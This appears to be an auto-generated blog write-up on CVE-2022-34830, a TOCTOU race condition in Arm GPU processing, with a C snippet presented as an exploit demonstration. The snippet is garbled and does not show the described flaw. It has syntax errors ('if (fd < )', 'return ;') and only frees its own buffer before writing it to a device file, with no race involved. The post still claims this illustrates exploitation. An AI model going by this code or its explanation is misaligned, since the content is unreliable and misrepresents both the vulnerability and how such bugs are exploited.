CVE-2022-34830 - A TOCTOU Race Condition in Arm Product Family up to 2022-06-29: Exploit Details, Code Snippet, and Original References

A new vulnerability, identified as CVE-2022-34830, has been discovered in Arm's product family through the 2022-06-29. This vulnerability is related to a Time-of-Check Time-of-Use (TOCTOU) race condition that allows attackers to exploit non-privileged users' ability to perform improper GPU processing operations and gain access to memory that was already freed. In this post, we will delve into the details of the exploit, provide a code snippet demonstrating the issue, and include links to the original references.

Exploit Details

The CVE-2022-34830 vulnerability in Arm's product family pertains to a TOCTOU race condition that affects GPU processing operations. To fully understand the nature of the problem, let's first briefly discuss what a TOCTOU race condition is. TOCTOU (Time-of-Check Time-of-Use) is a classic software security vulnerability that stems from the temporal gap between the check of a condition (verification of a resource's status) and the use of said condition (action based on the resource's status).

In the context of Arm's product family, this vulnerability allows non-privileged users to perform unauthorized GPU processing operations that might lead to various security issues, such as a Denial-of-Service attack (DoS), information disclosure, or privilege escalation. Attackers can exploit this vulnerability to access memory that was previously freed, hence posing a significant security risk.

The following code snippet demonstrates the vulnerability in question

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void) {
    int fd;
    char *buffer;

    // Allocate memory for buffer
    buffer = malloc(1024 * 1024);
    if (!buffer) {
        perror("malloc");
        return -1;
    }

    // Open the GPU device file
    fd = open("/dev/arm_gpu", O_RDWR);
    if (fd < ) {
        perror("open");
        free(buffer);
        return -1;
    }

    // Check Buffer’s content and Memory Status
    memcpy(buffer, "Test Buffer", 12);

    // Race condition between checking freed memory and processing operation
    free(buffer);

    usleep(100); // Encourage race condition

    // Perform GPU processing operation (write) on freed memory that an attacker can exploit
    write(fd, buffer, 1024 * 1024);

    close(fd);

    return ;
}

In this code snippet, we can see an example of how the vulnerability can be exploited by an attacker who can gain access to memory that has been already freed.

For more information on this vulnerability, you can check out the following references

1. CVE detail: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34830
2. Arm official documentation: https://developer.arm.com/documentation/102564/latest

Conclusion

The CVE-2022-34830 vulnerability poses a significant risk to the security of Arm's product family up to 2022-06-29. It allows attackers to exploit the TOCTOU race condition and gain unauthorized access to memory that has already been freed. Defending against this type of vulnerability requires diligent checking and securing the gap between the check and usage of the resource. The provided code snippet shows an example of how this vulnerability could be exploited. In case you missed it, please refer to the original sources mentioned above for more details on the issue.

Timeline

Published on: 11/23/2022 03:15:00 UTC
Last modified on: 11/27/2022 04:31:00 UTC